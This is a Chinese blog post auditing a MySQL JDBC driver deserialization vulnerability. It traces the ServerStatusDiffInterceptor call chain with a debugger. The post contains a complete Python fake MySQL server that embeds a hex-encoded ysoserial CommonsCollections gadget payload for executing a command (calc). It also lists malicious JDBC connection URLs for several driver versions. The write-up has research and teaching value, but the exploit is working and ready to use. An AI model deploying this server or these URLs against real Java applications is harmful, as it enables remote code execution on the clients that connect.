JDBC反序列化简单审计

2023-05-04

Uncategorized

2.9k words

前情提要

基础原理分析

当我们生成序列化文件的时候，里面的前两个字节的值如下

一个为-84，一个为-19 , 在一些反序列化的程序中，就会根据这两个的值判断当前传入流是否是序列化的流，进而决定是否进行反序列化操作，就比如我们的漏洞利用点com.mysql.cj.jdbc.result.ResultSetImpl.getObject()这一块，他就是依据前两个字节的值，决定是否反序列化。

Mysql认证报文

Client

import java.sql.*;  
  
public class Client {  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
        String Driver = "com.mysql.cj.jdbc.Driver";  
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";  
        //tatementInterceptors:连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果，这些拦截器将被添加到一个链中，第一个拦截器返回的结果将被传递到第二个拦截器，以此类推。在 8.0 中被queryInterceptors参数替代。
        //autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。
        Class.forName(Driver);  
        Connection conn = DriverManager.getConnection(DB_URL,"root","xxxxxx");  
    }  
}

用wireshark得到如下结果 ( tcp.port ==3306 && mysql )

随便点开一个Response包，查看Mysql Protocol部分，发现认证报文为固定的``0700000200000002000000，

回去看看它的问候报文

问候报文内容如上，能够看出这里的认证机制是mysql_native-password
这里也是我们payload的传入点，将该数据包的原始数据传给服务端我们即可进行恶意操作

【 ps : MySQL的认证机制有多种，其中最常用的是mysql_native_password和caching_sha2_password。mysql_native_password是MySQL早期版本使用的一种认证方式，而caching_sha2_password是MySQL 8.0版本之后默认使用的一种认证方式。在mysql_native_password中，服务器会向客户端发送一个8字节长的随机字符串（scramble），即盐给client；client通过scramble与密码的hash异或（Xor）后得到一个32位哈希值，作为种子随机出一个8字节字符串发送给服务器；服务器再将这个字符串与自己保存的密码hash值进行比较，如果相同则认证成功。】

流程分析

书接上文，得到漏洞利用点之后，我们一步一步查找用法回溯整条链子，这里对readObject是定位到了com.mysql.jdbc.util.ResultSetUtil这里

接着向上回溯，在com.mysql.jdbc.util.resultSetTomap.populateMapWithSessionStatusValues 这里发现了唯一一处调用

到这里这条链子就结束了，这个com.mysql.jdbc.util.resultSetTomap.populateMapWithSessionStatusValues在外部是可以直接被触发的
( ? )到这里咱们理一理它的传递流程

populateMapWithSessionStatusValues 新建了一个名为toPopluate的双String集合,用来存取SHOW SESSION STAUS的查询结果（rs），因为rs是个数据表，不能直接传递，所以在resultSetToMap里面先把他转成了行数据,再从行数据里面挑选第一列和第二列值的反序列化结果分别作为属性和值传递给 toPopluate 。而这个反序列化究竟能不能执行成功还得分情况而定，当且仅当传入数据为反序列化数据(-84,-19)时，才会对当前数据执行反序列化操作

实验代码

Java:Client

import java.sql.*;  
  
public class Client {  
    public static void main(String[] args) throws ClassNotFoundException, SQLException {  
        String Driver = "com.mysql.cj.jdbc.Driver";  
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";  
        Class.forName(Driver);  
        Connection conn = DriverManager.getConnection(DB_URL,"root","root");  
        System.out.println(conn);  
    }  
}

Python : 恶意服务器

# -*- coding:utf-8 -*-  
#@Time : 2020/7/27 2:10  
#@Author: Tri0mphe7  
#@File : server.py  
import socket  
import binascii  
import os  
  
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"  
response_ok_data="0700000200000002000000"  
  
def receive_data(conn):  
    data = conn.recv(1024)  
    print("[*] Receiveing the package : {}".format(data))  
    return str(data).lower()  
  
def send_data(conn,data):  
    print("[*] Sending the package : {}".format(data))  
    conn.send(binascii.a2b_hex(data))  
  
def get_payload_content():  
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a  
    file= r'ooo.txt'  
    if os.path.isfile(file):  
        with open(file, 'rb') as f:  
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')  
        print("open successs")  
  
    else:  
        print("open false")  
        #calc  
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'  
    return payload_content  
  
# 主要逻辑  
def run():  
  
    while 1:  
        conn, addr = sk.accept()  
        print("Connection come from {}:{}".format(addr[0],addr[1]))  
  
        # 1.先发送第一个 问候报文  
        send_data(conn,greeting_data)  
  
        while True:  
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok  
            receive_data(conn)  
            send_data(conn,response_ok_data)  
  
            #其他过程  
            data=receive_data(conn)  
            #查询一些配置信息,其中会发送自己的 版本号  
  
            if "session.auto_increment_increment" in data:  
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'  
                send_data(conn,_payload)  
                data=receive_data(conn)  
            elif "show warnings" in data:  
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'  
                send_data(conn, _payload)  
                data = receive_data(conn)  
            if "set names" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "set character_set_results" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "show session status" in data:  
                mysql_data = '0100000102'  
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'  
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'  
                # 为什么我加了EOF Packet 就无法正常运行呢？？  
                #获取payload  
                payload_content=get_payload_content()  
                #计算payload长度  
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)  
                payload_length_hex = payload_length[2:4] + payload_length[0:2]  
                #计算数据包长度  
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)  
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]  
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex  
                mysql_data += str(payload_content)  
                mysql_data += '07000005fe000022000100'  
                send_data(conn, mysql_data)  
                data = receive_data(conn)  
            if "show warnings" in data:  
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'  
                send_data(conn, payload)  
            break  
  
  
if __name__ == '__main__':  
    HOST ='0.0.0.0'  
    PORT = 3309  
  
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间  
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
    sk.bind((HOST, PORT))  
    sk.listen(1)  
  
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))  
  
    run()

流程调试

在加载jdbc链接处设下断点，然后跟进，他这里面的实际有效内容和重载类似，我们多跟几步

这里是跟到最后一个aDriver.driver.connect的内部
从里面第一处的ConnectionUrl.getConnectionUrlInstance开始理一理断点的逻辑
第一处的返回值是个字符串，他会根据我们传入的jdbc的url和jdbc的账号密码，实例化出一个用于链接的ConnectionUrl对象(其实就是个json对象，有一堆属性表明链接类型)

第二处ConnectionUrlImpl.getInstance是返回了一个具体的链接对象,里面的加工比较关键,我们跟到内部看一看

一个没什么营养的重载，接着跟

跟到ConnectionImpl的内部里看一看，一开始的代码部分都是一些属性的加载，在这里没什么意义，先不分析、比较重要的是下面标的两处断点

第一处是初始化我们所用的请求监听器
（这个拦截器的作用是在执行 SQL 语句之前，对 SQL 语句进行检查，以防止 SQL 注入。）

而第二处的功能，在这里则是==建立一个数据库链接==，显然更重要一点。我们详细跟进一下第二处的createNewIO。

这段代码的作用是在连接数据库之前，检查是否需要重试连接。如果不需要重试连接，则只连接一次。如果需要重试连接，则使用带有重试的连接。connectOneTryOnly(isForReconnect)是一个私有方法，它的作用是只连接一次，而不进行重试。根据调试，能够看出来具体的请求已经被委派给了connectOneTryOnly，我们接着跟进

断点前的代码完成了数据库的链接，并为自动提交、隔离级别、只读状态和目录，查询拦截器都设置了相应的属性值。断点处的initialzePropsFromServer的作用则是从所连接的服务器那里获取数据，初始化其余属性，我们再跟进一下。

initialzePropsFromServer的代码如下，最关键的地方在handleAutoCommitDefaults
handleAutoCommitDefaults() 这个方法，它的作用是设置自动提交的默认值。在JDBC中，自动提交是指在执行SQL语句时，是否自动提交事务。如果设置为true，则每次执行SQL语句后都会自动提交事务；如果设置为false，则需要手动调用commit()方法来提交事务。该方法通常用于设置JDBC连接的默认值，以便在创建连接时自动设置自动提交的默认值。而断点前面的代码仍然是一系列的初始化，这里就不细谈了，跟进
handleAutoCommitDefaults()

经过一系列的判断，handleAutoCommitDefaults()这里是决定把AutoCommit设置为true。跟进断点。

来到了执行sql语句的部分
execSQL的方法签名如下

1	execSQL(String sql, int maxRows, CancelQueryTask timeoutTask, Object[] args, boolean useMaxRows, ResultSetFactory resultSetFactory, String catalog, String currentSchema, boolean isBatch)

其中，参数sql表示要执行的SQL语句，autoCommitFlag ? "SET autocommit=1" : "SET autocommit=0"是一个三目运算符，用于根据autoCommitFlag的值选择要执行的SQL语句，如果autoCommitFlag为true，则执行SET autocommit=1，否则执行SET autocommit=0。主要逻辑都在下面，我们跟进去，看看sql的具体执行流程。

来到了((NativeProtocol) this.protocol).sendQueryString(callingQuery, query, encoding, maxRows, streamResults, catalog, cachedMetadata, this::getProfilerEventHandlerInstanceFunction, resultSetFactory); 这里。这段代码是用来向 MySQL 数据库发送查询语句的。它使用的是 NativeProtocol 类的 sendQueryString 方法。这个方法有很多参数，其中包括：

callingQuery：表示调用 sendQueryString 方法的语句，可以是 null。
query：表示要发送的查询语句。
encoding：表示要使用的字符编码。
maxRows：表示要返回的最大行数，可以是负数或 0。
streamResults：表示是否要将结果流式传输。
catalog：表示要使用的数据库目录，可以是 null。
cachedMetadata：表示要使用的元数据缓存，可以是 null。
getProfilerEventHandlerInstanceFunction：表示一个函数，用于获取分析器事件处理程序的实例。
resultSetFactory：表示用于创建结果集的工厂。

这个方法==最终返回一个结果集，这个结果集包含了查询的结果==。
（这里跟进两步，懂得都懂）

sendQueryPacket()部分代码部分意义如下

1.将statementExecutionDepth加1，表示当前语句的执行深度增加1，用于判断是否达到最大嵌套层数的限制。
2.获取SQL语句的byte数组和旧的数据包位置，用于保存查询语句的信息。
3.记录查询语句的开始时间。
4.使用LazyString创建一个查询语句。
5.如果存在查询拦截器，调用invokeQueryInterceptorsPre方法进行预处理，其中query参数是当前查询语句，callingQuery参数是调用当前查询的语句，false表示当前查询不是批处理的一部分。
6.返回拦截器处理后的结果。

拦截器部分比较关键，跟进

具体的预处理在preprocess这里实现，我们跟进看下

连跟了好几下，发现了一开始见到过的老熟人

这里的rs就是SHOW SESSION STATUS数据包的返回结果，已经被我们的evilmysql加载好了payload

(以上链子为ServerStatusDiffInterceptor链 8.0.7-8.0.20 )

链子搜集

5.1.0-5.1.10

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);  
String sql = "select database()";  
PreparedStatement ps = conn.prepareStatement(sql);  
//执行查询操作，返回的是数据库结果集的数据表  
ResultSet resultSet = ps.executeQuery();

payload如上

5.1.11-5.x.xx

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

6.x

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

detectCustomCollations链

涉及工具

https://github.com/fnmsd/MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server

5.1.45-5.1.48

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

5.1.29-5.1.40

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

5.1.19-5.1.28

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc";  
String username = "yso_CommonsCollections4_calc";  
String password = "";  
Class.forName("com.mysql.jdbc.Driver");  
conn = DriverManager.getConnection(url,username,password);

ps:到后面不大想分析了，学个利用算了

Tags

Archives

Recent Posts